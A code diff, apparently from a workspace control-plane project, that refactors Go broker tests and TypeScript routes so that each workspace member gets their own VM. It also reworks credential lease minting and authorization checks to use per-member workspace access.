storeWorkspaceEnvironment(stateDir, WorkspaceEnvironment{ - Env: map[string]string{"KEPT": "yes", "DROPPED": "old"}, - FilesReady: true, - }); err != nil { - t.Fatal(err) - } - if err := storeWorkspaceEnvironment(stateDir, WorkspaceEnvironment{ - Env: map[string]string{"KEPT": "yes"}, - FilesReady: true, - }); err != nil { - t.Fatal(err) - } - envDir := filepath.Join(stateDir, credentialsDirectory, environmentDirectory) - entries, err := os.ReadDir(envDir) - if err != nil { - t.Fatal(err) - } - names := make([]string, 0, len(entries)) - for _, entry := range entries { - names = append(names, entry.Name()) - } - // Connection secrets are pulled at the moment of use, so the workspace entry - // is the only file this directory may hold. - if !slices.Equal(names, []string{workspaceEnvironmentEntry}) { - t.Fatalf("env.d entries = %q", names) - } - fragment, err := os.ReadFile(filepath.Join(envDir, workspaceEnvironmentEntry)) - if err != nil { - t.Fatal(err) - } - if string(fragment) != "export KEPT='yes'\n" { - t.Fatalf("workspace entry = %q", fragment) - } -} - -func TestStartupScriptStopsAtItsDeadline(t *testing.T) { - stateDir := t.TempDir() - workspaceDir := t.TempDir() - if err := os.MkdirAll(filepath.Join(stateDir, workspaceEnvironmentDirectory), 0o700); err != nil { - t.Fatal(err) - } - // A script that backgrounds work and then never returns. The parent context - // stays live for the whole test: only the deadline may end this. - script := "(sleep 120 &) \nwhile true; do sleep 1; done\n" - started := time.Now() - done, err := startStartupOnce(context.Background(), stateDir, workspaceDir, WorkspaceEnvironment{ - Env: map[string]string{}, StartupScript: &script, - }, 200*time.Millisecond) - if err != nil { - t.Fatal(err) - } - select { - case <-done: - case <-time.After(30 * time.Second): - t.Fatal("a non-exiting startup script outlived its deadline") - } - if elapsed := time.Since(started); elapsed > 30*time.Second { - t.Fatalf("startup script ran for %s", elapsed) - } - logged, err := os.ReadFile(filepath.Join(stateDir, workspaceEnvironmentDirectory, startupLogFile)) - if err != nil { - t.Fatal(err) - } - // The author has to be able to see why their script stopped. - if !strings.Contains(string(logged), "stopped after 200ms") { - t.Fatalf("startup log = %q", logged) - } -} diff --git a/packages/broker/internal/workspace/watch.go b/packages/broker/internal/workspace/watch.go index 18604179..9b95f0a2 100644 --- a/packages/broker/internal/workspace/watch.go +++ b/packages/broker/internal/workspace/watch.go @@ -107,14 +107,7 @@ func Watch(ctx context.Context, stateDir, home string) error { watcher := NewWatcher(home, func(callContext context.Context, harness string, blob []byte) error { return Deposit(callContext, stateDir, harness, blob) }) - environmentReady := false for { - if !environmentReady { - // The startup script it may launch runs detached, so this call - // never holds up the credential deposits below. - ready, _, _ := environmentTick(ctx, stateDir, "/workspace", nil) - environmentReady = ready - } _ = watcher.Tick(ctx) timer := time.NewTimer(time.Second) select { diff --git a/packages/broker/internal/workspace/workspace_test.go b/packages/broker/internal/workspace/workspace_test.go index aad0905d..335be39a 100644 --- a/packages/broker/internal/workspace/workspace_test.go +++ b/packages/broker/internal/workspace/workspace_test.go @@ -152,14 +152,3 @@ func TestLoadBrokerRejectsMissingMember(t *testing.T) { t.Fatal("broker config without member was accepted") } } - -func assertFileMode(t *testing.T, path string, expected os.FileMode) { - t.Helper() - info, err := os.Stat(path) - if err != nil { - t.Fatal(err) - } - if info.Mode().Perm() != expected { - t.Errorf("%s mode = %o, want %o", path, info.Mode().Perm(), expected) - } -} diff --git a/packages/control-plane/core/agent-rules.ts b/packages/control-plane/core/agent-rules.ts index b16b46f2..db19ce85 100644 --- a/packages/control-plane/core/agent-rules.ts +++ b/packages/control-plane/core/agent-rules.ts @@ -238,7 +238,7 @@ export function addAgentRuleLibraryRoutes( await transaction(runtime.db, [ { q: "UPDATE workspaces SET agent_rule_id = NULL WHERE agent_rule_id = ?1", v: [id] }, { - q: "UPDATE workspace_templates SET agent_rule_id = NULL WHERE agent_rule_id = ?1", + q: "UPDATE workspaces SET agent_rule_id = NULL WHERE agent_rule_id = ?1", v: [id], }, { q: "DELETE FROM agent_rules WHERE id = ?1", v: [id] }, diff --git a/packages/control-plane/core/app.ts b/packages/control-plane/core/app.ts index 849bcd5c..74f772a5 100644 --- a/packages/control-plane/core/app.ts +++ b/packages/control-plane/core/app.ts @@ -6,20 +6,23 @@ import { addWorkspaceEnvironmentRoutes } from "./environment.js"; import { addEntitlementsRoutes, SeatLimitReached, seatLimitEnvelope } from "./entitlements.js"; import { frameworkHttpError, HttpError } from "./http.js"; import { addFilesRoutes } from "./files/routes.js"; +import { addMachineRoutes } from "./machines.js"; import { addIdentityRoutes } from "./identity/routes.js"; import { addOAuthRoutes } from "./oauth.js"; import { addOperatorTokenRoutes, findOperatorTokenPrincipal } from "./operator-tokens.js"; import type { Principal } from "./principals.js"; import { addMicrovmHostRoutes } from "./compute/microvm.js"; import { addOrgComputeCredentialRoutes } from "./compute/org-credentials.js"; -import { addRecipeRoutes } from "./recipes.js"; +import { addOrgUsageCaptureRoutes } from "./recipes.js"; import { addRegistryRoutes } from "./registry.js"; import type { CoreContext, CoreRouter, RuntimeFactory } from "./runtime.js"; import { addSessionRoutes } from "./sessions.js"; import { addVersionRoutes } from "./version.js"; import { addVolumeRoutes } from "./volumes.js"; import { addWebAppStateRoutes } from "./webapp-state.js"; -import { addWorkspaceTemplateRoutes } from "./workspace-templates.js"; +import { addWorkspaceCredentialRoutes } from "./workspace-credentials.js"; +import { addWorkspaceMemberRoutes } from "./workspace-members.js"; +import { addWorkspaceSettingsRoutes } from "./workspace-settings.js"; import { addWorkspaceRoutes } from "./workspaces.js"; // TODO(house-canon): Route structured core logs through the canonical logger. @@ -81,8 +84,20 @@ export function installControlPlaneRoutes( addOAuthRoutes(router, runtimeFactory, requireMembershipPrincipal); addWebAppStateRoutes(router, runtimeFactory, requireMembershipPrincipal); addAgentRuleLibraryRoutes(router, runtimeFactory, requireMembershipPrincipal); - addWorkspaceTemplateRoutes(router, runtimeFactory, requireMembershipPrincipal); - addRecipeRoutes(router, runtimeFactory, requireMembershipPrincipal); + // Templates and Recipes are disabled product-wide (2026-08-29). Both + // registrations stay here, commented, so the decision is visible where the + // surface used to be mounted and turning either back on is one line. + // - Templates: the object is gone. A workspace is its own template, and + // "new workspace from existing" is CreateWorkspaceRequest.cloneFromWorkspaceId + // (plans/MEMBER-MACHINES.md §0). Migration 0043 dropped the four tables. + // - Recipes: disabled 2026-08-29, feature hidden. The code and the + // `recipes` rows are untouched; only the routes are unmounted. + // addWorkspaceTemplateRoutes(router, runtimeFactory, requireMembershipPrincipal); + // addRecipeRoutes(router, runtimeFactory, requireMembershipPrincipal); + // + // Usage capture is not a recipe surface — it is an org switch that fills a + // Drive folder — so it stays mounted. + addOrgUsageCaptureRoutes(router, runtimeFactory, requireMembershipPrincipal); // Box-authenticated, so it is registered ahead of the session-authenticated // /workspaces/:id routes it shares a prefix with. addWorkspaceEnvironmentRoutes(router, runtimeFactory); @@ -90,7 +105,15 @@ export function installControlPlaneRoutes( // same reason; its one session route (/workspaces/:id/box-update) collides // with nothing. addBoxConfigRoutes(router, runtimeFactory, requireMembershipPrincipal); + // Registered before addWorkspaceRoutes: /workspaces/:id/members and + // /workspaces/:id/credentials are literal paths under the same prefix. + addWorkspaceMemberRoutes(router, runtimeFactory, requireMembershipPrincipal); + addWorkspaceCredentialRoutes(router, runtimeFactory, requireMembershipPrincipal); + // Same reason: /workspaces/:id/repos is a literal path under the prefix + // addWorkspaceRoutes registers its parameterised routes on. + addWorkspaceSettingsRoutes(router, runtimeFactory, requireMembershipPrincipal); addWorkspaceRoutes(router, runtimeFactory, requireMembershipPrincipal); + addMachineRoutes(router, runtimeFactory, requireMembershipPrincipal); addCredentialRoutes(router, runtimeFactory, requireMembershipPrincipal); addVolumeRoutes(router, runtimeFactory, requireMembershipPrincipal); addFilesRoutes(router, runtimeFactory, requireMembershipPrincipal); diff --git a/packages/control-plane/core/box-config.ts b/packages/control-plane/core/box-config.ts index 5a5e885c..5c172420 100644 --- a/packages/control-plane/core/box-config.ts +++ b/packages/control-plane/core/box-config.ts @@ -4,7 +4,12 @@ import { authenticateBox } from "./oauth.js"; import type { BoxIdentity } from "./types.js"; import type { Principal } from "./principals.js"; import type { CoreContext, CoreRouter, CoreRuntime, RuntimeFactory } from "./runtime.js"; -import { canControlWorkspace } from "./workspace-access.js"; +import { machineFor } from "./machines.js"; +import { + isWorkspaceAdmin, + isWorkspaceMember, + workspaceAccess, +} from "./workspace-access.js"; import { workspaceById } from "./workspace-records.js"; import { BOX_UPDATE_OUTCOMES, @@ -65,15 +70,16 @@ export function parseBoxUpdateResult(value: JsonValue): BoxUpdateResultRequest { return { ref, outcome: boxUpdateOutcome(requiredString(value.outcome, "outcome", 64)) }; } -/** Arm the flag the host's next poll reads. Both request paths — the guest - * verb with the box's own token and the session route — write it here, so the - * one statement that means "update this box" has one home. */ -async function requestBoxUpdate(db: CoreRuntime["db"], workspaceId: string): Promise { +/** Arm the flag the host's next poll reads. The flag is per MACHINE now: a + * workspace holds one VM per member, so "update this box" names one of them. + * Both request paths — the guest verb with the machine's own token and the + * session route — write it here, so the one statement has one home. */ +async function requestBoxUpdate(db: CoreRuntime["db"], machineId: string): Promise { await changed(db, { - q: `UPDATE workspaces + q: `UPDATE machines SET box_update_requested = 1, updated_at = ?1 WHERE id = ?2 RETURNING id`, - v: [Date.now(), workspaceId], + v: [Date.now(), machineId], }); } @@ -84,7 +90,7 @@ async function requireWorkspaceBox( const box = await authenticateBox(context.req.raw, runtimeFactory(context).db); if (box === null) throw new HttpError(401, "invalid box access token"); if (box.workspaceId === null) { - throw new HttpError(403, "only workspace boxes have a box config"); + throw new HttpError(403, "only workspace machines have a box config"); } return { ...box, workspaceId: box.workspaceId }; } @@ -100,10 +106,10 @@ export function addBoxConfigRoutes( const box = await requireWorkspaceBox(context, runtimeFactory); const runtime = runtimeFactory(context); const row = await first<{ box_update_requested: number }>(runtime.db, { - q: "SELECT box_update_requested FROM workspaces WHERE id = ?1 LIMIT 1", - v: [box.workspaceId], + q: "SELECT box_update_requested FROM machines WHERE id = ?1 LIMIT 1", + v: [box.id], }); - if (row === null) throw new HttpError(404, "workspace not found"); + if (row === null) throw new HttpError(404, "machine not found"); const response: BoxConfigResponse = { boxImageRef: runtime.vars.boxImageRef, // The configured public origin when the deployment has one; otherwise @@ -125,10 +131,10 @@ export function addBoxConfigRoutes( const box = await requireWorkspaceBox(context, runtimeFactory); const input = parseBoxUpdateResult(await readJson(context.req.raw, 4 * 1024)); await changed(runtimeFactory(context).db, { - q: `UPDATE workspaces + q: `UPDATE machines SET box_update_requested = 0, box_image_reported = ?1, updated_at = ?2 WHERE id = ?3 RETURNING id`, - v: [input.ref, Date.now(), box.workspaceId], + v: [input.ref, Date.now(), box.id], }); return context.body(null, 204); }); @@ -137,7 +143,7 @@ export function addBoxConfigRoutes( // an agent inside the workspace may ask for its own box to be updated. router.post("/workspaces/self/box-update", async (context) => { const box = await requireWorkspaceBox(context, runtimeFactory); - await requestBoxUpdate(runtimeFactory(context).db, box.workspaceId); + await requestBoxUpdate(runtimeFactory(context).db, box.id); return context.body(null, 204); }); @@ -147,11 +153,29 @@ export function addBoxConfigRoutes( const principal = await requirePrincipal(context); const runtime = runtimeFactory(context); const row = await workspaceById(runtime.db, context.req.param("id")); - if (row === null || row.org_id !== principal.orgId || row.phase === "destroyed") { + if (row === null || row.org_id !== principal.orgId || row.deleted_at !== null) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(principal, row)) throw new HttpError(403, "forbidden"); - await requestBoxUpdate(runtime.db, row.id); + // A workspace has no single box to update any more. A workspace admin + // means "every box in this workspace", which is the whole point of asking + // at the workspace level; a plain member may only ask for their own, + // because replacing a container kills every process inside it. + const access = await workspaceAccess(runtime.db, principal, row); + if (isWorkspaceAdmin(access)) { + await changed(runtime.db, { + q: `UPDATE machines SET box_update_requested = 1, updated_at = ?1 + WHERE workspace_id = ?2 AND state != 'destroyed' RETURNING id`, + v: [Date.now(), row.id], + }); + return context.body(null, 204); + } + if (!isWorkspaceMember(access)) throw new HttpError(403, "forbidden"); + if (principal.membershipId === null) { + throw new HttpError(403, "active membership required"); + } + const machine = await machineFor(runtime.db, row.id, principal.membershipId); + if (machine === null) throw new HttpError(409, "you have no machine in this workspace"); + await requestBoxUpdate(runtime.db, machine.id); return context.body(null, 204); }); } diff --git a/packages/control-plane/core/compute/aws.ts b/packages/control-plane/core/compute/aws.ts index 5abec5c9..a7cdb2b2 100644 --- a/packages/control-plane/core/compute/aws.ts +++ b/packages/control-plane/core/compute/aws.ts @@ -547,7 +547,7 @@ export class AwsProvider implements VmProvider, VolumeProvider { const diskGb = MACHINE_TYPES .find((machineType) => machineType.instanceType === selected.instanceType) ?.diskGb ?? DEFAULT_ROOT_DISK_GB; - const name = `blitz-${input.workspaceId.slice(0, 12)}`; + const name = `blitz-${input.machineId.slice(0, 12)}`; const document = await this.required("RunInstances", [ ["ImageId", await this.imageId()], ["InstanceType", selected.instanceType], diff --git a/packages/control-plane/core/compute/hetzner.ts b/packages/control-plane/core/compute/hetzner.ts index 25ffcb43..2fe4996b 100644 --- a/packages/control-plane/core/compute/hetzner.ts +++ b/packages/control-plane/core/compute/hetzner.ts @@ -58,6 +58,10 @@ interface CreateServerBody { user_data: string; labels: { "blitz-workspace": string; + /** The machine this server is an incarnation of. Operators match a server + * to a row by these two labels; the workspace one alone stopped being + * unique when a workspace grew a VM per member. */ + "blitz-machine": string; "blitz-purpose": "workspace"; }; location?: string; @@ -454,12 +458,13 @@ export class HetznerProvider implements VmProvider, VolumeProvider { async createVm(input: CreateVmInput): Promise { const selected = machineId(input.machineTypeId); const body: CreateServerBody = { - name: `blitz-${input.workspaceId.slice(0, 12)}`, + name: `blitz-${input.machineId.slice(0, 12)}`, server_type: selected.type, image: this.serverImage(selected.location), user_data: input.userData, labels: { "blitz-workspace": input.workspaceId, + "blitz-machine": input.machineId, "blitz-purpose": "workspace", }, }; diff --git a/packages/control-plane/core/compute/microvm.ts b/packages/control-plane/core/compute/microvm.ts index 54f10c17..16c49186 100644 --- a/packages/control-plane/core/compute/microvm.ts +++ b/packages/control-plane/core/compute/microvm.ts @@ -220,7 +220,11 @@ export class MicrovmPoolProvider implements VmProvider { async createVm(input: CreateVmInput): Promise { const { host, machine } = this.hostForMachineType(input.machineTypeId); const body: CreateAgentVmBody = { - workspace_id: input.workspaceId, + // The host keys its guest on this id and it must be unique per VM. A + // workspace holds one VM per member now, so the MACHINE id goes here; + // the field keeps its wire name because the host protocol has no + // fixtures yet and renaming it would be a silent break. + workspace_id: input.machineId, cpu: machine.cpu, mem_mb: machine.memGb * 1_024, }; diff --git a/packages/control-plane/core/compute/types.ts b/packages/control-plane/core/compute/types.ts index 259de4b9..1c652440 100644 --- a/packages/control-plane/core/compute/types.ts +++ b/packages/control-plane/core/compute/types.ts @@ -32,6 +32,11 @@ export interface ProviderCapabilities { export interface CreateVmInput { workspaceId: string; + /** The machine this VM is an incarnation of. It names the server, because a + * workspace holds one VM per member now and a provider that names servers + * after the workspace would collide on the second member. The workspace id + * stays as the label operators match resources by. */ + machineId: string; machineTypeId: string; sshPublicKey?: string; phoneHomeUrl: string; diff --git a/packages/control-plane/core/connections/connect.ts b/packages/control-plane/core/connections/connect.ts index 5ef73b4a..aec2e2cf 100644 --- a/packages/control-plane/core/connections/connect.ts +++ b/packages/control-plane/core/connections/connect.ts @@ -1,6 +1,10 @@ import { first } from "../db.js"; import { HttpError, requiredString } from "../http.js"; -import { canControlWorkspace, type WorkspaceAccessRow } from "../workspace-access.js"; +import { + isWorkspaceAdmin, + workspaceAccess, + type WorkspaceAccessRow, +} from "../workspace-access.js"; import { clearConnectOAuthStateCookie, connectReturnTo, @@ -112,7 +116,9 @@ async function controllableWorkspace( if (workspace === null || workspace.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(principal, workspace)) throw new HttpError(403, "forbidden"); + if (!isWorkspaceAdmin(await workspaceAccess(runtime.db, principal, workspace))) { + throw new HttpError(403, "forbidden"); + } return id; } diff --git a/packages/control-plane/core/connections/leases.ts b/packages/control-plane/core/connections/leases.ts index 190f8022..b6292373 100644 --- a/packages/control-plane/core/connections/leases.ts +++ b/packages/control-plane/core/connections/leases.ts @@ -5,12 +5,13 @@ import type { Principal } from "../principals.js"; import type { CoreRuntime } from "../runtime.js"; import { scopesFromJson } from "./manifest.js"; import type { Lease, MintResult } from "./types.js"; -import { canControlWorkspace } from "../workspace-access.js"; +import { isWorkspaceMember, workspaceAccess } from "../workspace-access.js"; interface LeaseRow { id: string; workspace_id: string; box_id: string | null; + machine_id: string | null; connection_id: string; connection_name: string; user_id: string | null; @@ -27,13 +28,14 @@ interface LeaseRow { interface CreateLeaseInput { id: string; workspaceId: string; - /** Null for a lease a person minted from the connect grid: audit records - * which box received a credential, and no box received this one yet. */ - boxId: string | null; + /** The machine that received the credential, or null for a lease a person + * minted from the connect grid: audit records which guest received a + * credential, and no guest received this one yet. */ + machineId: string | null; connectionId: string; connectionName: string; - /** The workspace owner, always: a box is one disk and one env, so a lease - * resolves against the owner's identity even when an editor triggered it. */ + /** The member the credential was resolved for. It is the machine's own + * member now, never the workspace owner: one machine, one person. */ userId: string; /** The grant this lease was minted from; null for legacy org-root mints. */ grantId: string | null; @@ -64,7 +66,7 @@ function leaseView(row: LeaseRow): Lease { return { id: row.id, workspaceId: row.workspace_id, - boxId: row.box_id, + boxId: row.machine_id ?? row.box_id, connection: row.connection_name, userId: row.user_id, scopes: scopesFromJson(row.scopes), @@ -86,13 +88,13 @@ export async function createLease( await transaction(db, [ { q: `INSERT INTO credential_leases - (id, workspace_id, box_id, connection_id, user_id, grant_id, scopes, + (id, workspace_id, machine_id, connection_id, user_id, grant_id, scopes, mode, token_hash, issued_at, expires_at, state) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8, ?9, ?10, ?11, 'active')`, v: [ input.id, input.workspaceId, - input.boxId, + input.machineId, input.connectionId, input.userId, input.grantId, @@ -113,7 +115,7 @@ export async function createLease( JSON.stringify({ integration: input.connectionName, scopes: input.scopes, - box_id: input.boxId, + box_id: input.machineId, workspace_id: input.workspaceId, acting_principal: { userId: input.principal.id, @@ -127,7 +129,7 @@ export async function createLease( return { id: input.id, workspaceId: input.workspaceId, - boxId: input.boxId, + boxId: input.machineId, connection: input.connectionName, userId: input.userId, scopes: input.scopes, @@ -155,7 +157,9 @@ export async function listLeases( if (workspace === null || workspace.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(principal, workspace)) throw new HttpError(403, "forbidden"); + if (!isWorkspaceMember(await workspaceAccess(db, principal, workspace))) { + throw new HttpError(403, "forbidden"); + } const result = await rows(db, { q: `SELECT lease.*, connection.scoped_name AS connection_name, workspace.owner_id, workspace.org_id, workspace.owner_membership_id @@ -187,7 +191,11 @@ export async function revokeLease( if (row === null || row.org_id !== principal.orgId) { throw new HttpError(404, "credential lease not found"); } - if (!canControlWorkspace(principal, row)) throw new HttpError(403, "forbidden"); + if (!isWorkspaceMember(await workspaceAccess(db, principal, { + id: row.workspace_id, + org_id: row.org_id, + owner_membership_id: row.owner_membership_id, + }))) throw new HttpError(403, "forbidden"); if (row.state !== "active") return; await transaction(db, [ { @@ -205,7 +213,7 @@ export async function revokeLease( JSON.stringify({ integration: row.connection_name, scopes: scopesFromJson(row.scopes), - box_id: row.box_id, + box_id: row.machine_id ?? row.box_id, workspace_id: row.workspace_id, acting_principal: { userId: principal.id, @@ -254,7 +262,9 @@ export async function listCredentialEvents( if (workspace === null || workspace.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(principal, workspace)) throw new HttpError(403, "forbidden"); + if (!isWorkspaceMember(await workspaceAccess(db, principal, workspace))) { + throw new HttpError(403, "forbidden"); + } const events = await rows(db, { q: `SELECT event.id, event.lease_id, event.event, event.detail, event.created_at FROM credential_events event @@ -281,6 +291,18 @@ export function revokeWorkspaceLeasesQuery(workspaceId: string): Query { }; } +/** Every live lease a machine holds. A VM destroy is a revocation event: the + * guest that held the credential is gone, and a proxy lease token stays usable + * until its row dies. */ +export function revokeMachineLeasesQuery(machineId: string): Query { + return { + q: `UPDATE credential_leases + SET state = 'revoked', token_hash = NULL + WHERE machine_id = ?1 AND state = 'active'`, + v: [machineId], + }; +} + export function revokeConnectionLeasesQuery(connectionId: string): Query { return { q: `UPDATE credential_leases diff --git a/packages/control-plane/core/connections/mint.ts b/packages/control-plane/core/connections/mint.ts index d9522d05..86633814 100644 --- a/packages/control-plane/core/connections/mint.ts +++ b/packages/control-plane/core/connections/mint.ts @@ -1,8 +1,7 @@ import type { Principal } from "../principals.js"; import type { CoreContext, CoreRouter, RuntimeFactory } from "../runtime.js"; -import { first, rows } from "../db.js"; +import { first, rows, type Db } from "../db.js"; import { HttpError, requiredString } from "../http.js"; -import { authenticateBox } from "../oauth.js"; import { providerManifest, providerRedirectPath } from "./catalog/index.js"; import type { ProviderManifest } from "./catalog/types.js"; import { addConnectRoutes } from "./connect.js"; @@ -19,7 +18,6 @@ import { import { connectionDefaultScopes, manifestAllows, - manifestConnectionNames, manifestWithConnection, manifestWithoutConnection, usableByAllows, @@ -28,7 +26,7 @@ import { mintFromGrant } from "./minters/grant.js"; import { refreshedAccessToken } from "./minters/oauth.js"; import { openRoot } from "./root-crypto.js"; import { addProxyRoute } from "./proxy.js"; -import { mintResultBody, parseMintResult } from "./pull-wire.js"; +import { addBoxConnectionRoutes } from "./pull-routes.js"; import { addRequestRoutes, fileRequest } from "./requests.js"; import { addConnectionRoutes, @@ -42,7 +40,6 @@ import type { MinterResult, MintRequest, MintResult, - WorkspaceConnectionsResponse, } from "./types.js"; import type { GrantRow } from "./user-grants.js"; import { @@ -51,28 +48,40 @@ import { grantFor, openGrantSecret, } from "./user-grants.js"; -import { canControlWorkspace } from "../workspace-access.js"; +import { + isWorkspaceAdmin, + isWorkspaceMember, + workspaceAccess, +} from "../workspace-access.js"; -export interface WorkspaceCredentialRow { +/** The workspace fields a mint needs. `owner_id` is still read for the + * connect-grid path, which acts as the person clicking; a BOX mint resolves + * against its own machine's member instead (§4). */ +export interface MintWorkspaceRow { id: string; owner_id: string; - phase: string; manifest: string | null; org_id: string | null; owner_membership_id: string | null; } -export function authorize( +/** Whether this caller may use this connection in this workspace. + * + * Two gates, both required: the caller has to be somebody who may use the + * workspace's credentials at all — a workspace admin or member, never a + * viewer (§3) — and the request has to fit the workspace's stored ceiling. */ +export async function authorize( + db: Db, principal: Principal, - workspace: WorkspaceCredentialRow, + workspace: MintWorkspaceRow, connection: Connection, requestedScopes: readonly string[], -): boolean { - const callerIsAdminOrOwner = canControlWorkspace(principal, workspace); +): Promise { + const access = await workspaceAccess(db, principal, workspace); const requestFitsCeiling = manifestAllows(workspace.manifest, connection.name, requestedScopes) && usableByAllows(connection, principal.id); - return callerIsAdminOrOwner && requestFitsCeiling; + return isWorkspaceMember(access) && requestFitsCeiling; } async function recordDenied( @@ -108,10 +117,11 @@ async function recordDenied( }); } -/** The workspace's identity spine is its owner: one disk, one env, one value - * per variable. Every mint resolves against the owner's grants no matter which - * member's box triggered it. */ -async function ownerGrantMint( +/** Personal plane first (§4). The grant resolved here belongs to the member + * the mint is acting as — for a box mint that is the machine's own member, so + * an agent acts as the person whose machine it is running on and nothing is + * borrowed. */ +async function memberGrantMint( runtime: ReturnType, grant: GrantRow, connection: Connection, @@ -191,10 +201,10 @@ export interface MintOutcome { lease: Lease; } -interface MintOneInput { - workspace: WorkspaceCredentialRow; - /** Null when a person minted from the webApp rather than a box syncing. */ - boxId: string | null; +export interface MintOneInput { + workspace: MintWorkspaceRow; + /** Null when a person minted from the webApp rather than a machine syncing. */ + machineId: string | null; principal: Principal; origin: string; connection: Connection; @@ -202,11 +212,11 @@ interface MintOneInput { denied: "error" | "skip"; } -async function mintOne( +export async function mintOne( runtime: ReturnType, input: MintOneInput, ): Promise { - const { workspace, boxId, principal, connection, denied } = input; + const { workspace, machineId, principal, connection, denied } = input; const now = Date.now(); /** Both denials answer 403 and file a request: the box classifies by status, * and the inbox is how a person turns either one into a yes. A person who @@ -217,47 +227,49 @@ async function mintOne( await recordDenied( runtime, workspace.id, - boxId, + machineId, connection.name, input.scopes, now, principal, reason, ); - const requestId = boxId === null ? undefined : await fileRequest( + const requestId = machineId === null ? undefined : await fileRequest( runtime.db, workspace.id, connection.name, input.scopes, - { boxId, userId: principal.id }, + { boxId: machineId, userId: principal.id }, now, ); throw new HttpError(403, message, requestId); }; - if (!authorize(principal, workspace, connection, input.scopes)) { + if (!await authorize(runtime.db, principal, workspace, connection, input.scopes)) { return deny( "outside credential ceiling", `this workspace is not connected to ${connection.name}`, ); } - const grant = await grantFor(runtime.db, workspace.owner_id, connection.name); + // The acting principal, not the workspace owner. A box mint arrives as the + // machine's own member, so the grant this finds is that person's. + const grant = await grantFor(runtime.db, principal.id, connection.name); const minter = grant === null ? resolveMinter(connection) : null; if (grant === null && (minter === null || connection.root_ciphertext === null)) { // The connection is declared but nobody's identity backs it. That is the // connect inbox, not a failure: 404 is the status the box turns into // "not configured", and it carries the request id the panel resolves. if (denied === "skip") return null; - const requestId = boxId === null ? undefined : await fileRequest( + const requestId = machineId === null ? undefined : await fileRequest( runtime.db, workspace.id, connection.name, input.scopes, - { boxId, userId: principal.id }, + { boxId: machineId, userId: principal.id }, now, ); throw new HttpError( 404, - `connection ${connection.name} has no grant for the workspace owner`, + `connection ${connection.name} has no grant for you`, requestId, ); } @@ -270,7 +282,7 @@ async function mintOne( const leaseId = crypto.randomUUID(); const request: MintRequest = { workspaceId: workspace.id, - boxId, + boxId: machineId, principalId: principal.id, scopes, now, @@ -279,7 +291,7 @@ async function mintOne( }; const minted = grant === null ? await legacyRootMint(runtime, connection, request) - : await ownerGrantMint(runtime, grant, connection, request, scopes); + : await memberGrantMint(runtime, grant, connection, request, scopes); // Control-plane bookkeeping is stripped here: `tokenHash` is what the proxy // compares against and must never leave the control plane. const { tokenHash = null, grantedScopes, ...result } = minted; @@ -295,10 +307,10 @@ async function mintOne( const lease = await createLease(runtime.db, { id: leaseId, workspaceId: workspace.id, - boxId, + machineId, connectionId: connection.id, connectionName: connection.name, - userId: workspace.owner_id, + userId: principal.id, grantId: grant?.id ?? null, scopes: grantedScopes ?? scopes, result, @@ -316,7 +328,7 @@ async function mintOne( export async function mintWorkspaceConnection( runtime: ReturnType, input: { - workspace: WorkspaceCredentialRow; + workspace: MintWorkspaceRow; principal: Principal; origin: string; connection: Connection; @@ -325,7 +337,7 @@ export async function mintWorkspaceConnection( ): Promise { return mintOne(runtime, { workspace: input.workspace, - boxId: null, + machineId: null, principal: input.principal, origin: input.origin, connection: input.connection, @@ -357,7 +369,9 @@ async function connectAfterGrant( const workspace = await workspaceForMint(runtime, input.workspaceId); if (workspace === null || workspace.org_id === null || workspace.org_id !== input.principal.orgId) return false; - if (!canControlWorkspace(input.principal, workspace)) return false; + if (!isWorkspaceAdmin(await workspaceAccess(runtime.db, input.principal, workspace))) { + return false; + } const connection = await connectionByName( runtime.db, input.connectionName, @@ -391,10 +405,10 @@ async function connectAfterGrant( export async function workspaceForMint( runtime: ReturnType, workspaceId: string, -): Promise { - return first(runtime.db, { - q: `SELECT id, owner_id, phase, manifest, org_id, owner_membership_id - FROM workspaces WHERE id = ?1 LIMIT 1`, +): Promise { + return first(runtime.db, { + q: `SELECT id, owner_id, manifest, org_id, owner_membership_id + FROM workspaces WHERE id = ?1 AND deleted_at IS NULL LIMIT 1`, v: [workspaceId], }); } @@ -439,7 +453,7 @@ async function controllableWorkspaceConnection( runtime: ReturnType, context: CoreContext, principal: Principal, -): Promise<{ workspace: WorkspaceCredentialRow; name: string }> { +): Promise<{ workspace: MintWorkspaceRow; name: string }> { const workspaceId = requiredString(context.req.param("id"), "id", 64); const name = requiredString(context.req.param("name"), "name", 256); const workspace = await workspaceForMint(runtime, workspaceId); @@ -447,103 +461,10 @@ async function controllableWorkspaceConnection( || workspace.org_id !== principal.orgId) { throw new HttpError(404, "workspace not found"); } - if (!canControlWorkspace(principal, workspace)) throw new HttpError(403, "forbidden"); - return { workspace, name }; -} - -/** A box asking on its own behalf. The box holds no person's session, so the - * principal is assembled from the workspace's org membership: an agent inside - * the box acts as the member who owns the box, and nothing wider. */ -interface BoxCaller { - workspace: WorkspaceCredentialRow; - boxId: string; - principal: Principal; -} - -async function boxCaller( - runtime: ReturnType, - request: Request, -): Promise { - const box = await authenticateBox(request, runtime.db); - if (box === null) throw new HttpError(401, "invalid box access token"); - if (box.workspaceId === null) throw new HttpError(409, "box has no workspace"); - const workspace = await first(runtime.db, { - q: `SELECT id, owner_id, phase, manifest, org_id, owner_membership_id - FROM workspaces WHERE id = ?1 LIMIT 1`, - v: [box.workspaceId], - }); - if (workspace === null || workspace.phase !== "ready") { - throw new HttpError(409, "workspace is not ready for credential minting"); + if (!isWorkspaceAdmin(await workspaceAccess(runtime.db, principal, workspace))) { + throw new HttpError(403, "forbidden"); } - if (workspace.org_id === null) throw new HttpError(409, "workspace has no organization"); - const membership = await first<{ id: string; role: "admin" | "member" }>(runtime.db, { - q: `SELECT id, role FROM memberships - WHERE user_id = ?1 AND org_id = ?2 AND status = 'active' LIMIT 1`, - v: [box.principalId, workspace.org_id], - }); - return { - workspace, - boxId: box.id, - principal: { - id: box.principalId, - unixName: "blitz", - harnesses: [], - membershipId: membership?.id ?? null, - orgId: membership === null ? null : workspace.org_id, - role: membership?.role ?? null, - platformOperator: box.platformOperator, - }, - }; -} - -/** What an agent inside a box may ask for, and how it asks. - * - * Nothing is delivered ahead of use. The box reads the allow-list to know what - * it may ask for, and mints one credential at the moment it needs it. The - * manifest is read on every call, so a Disconnect in the panel takes effect on - * the very next pull 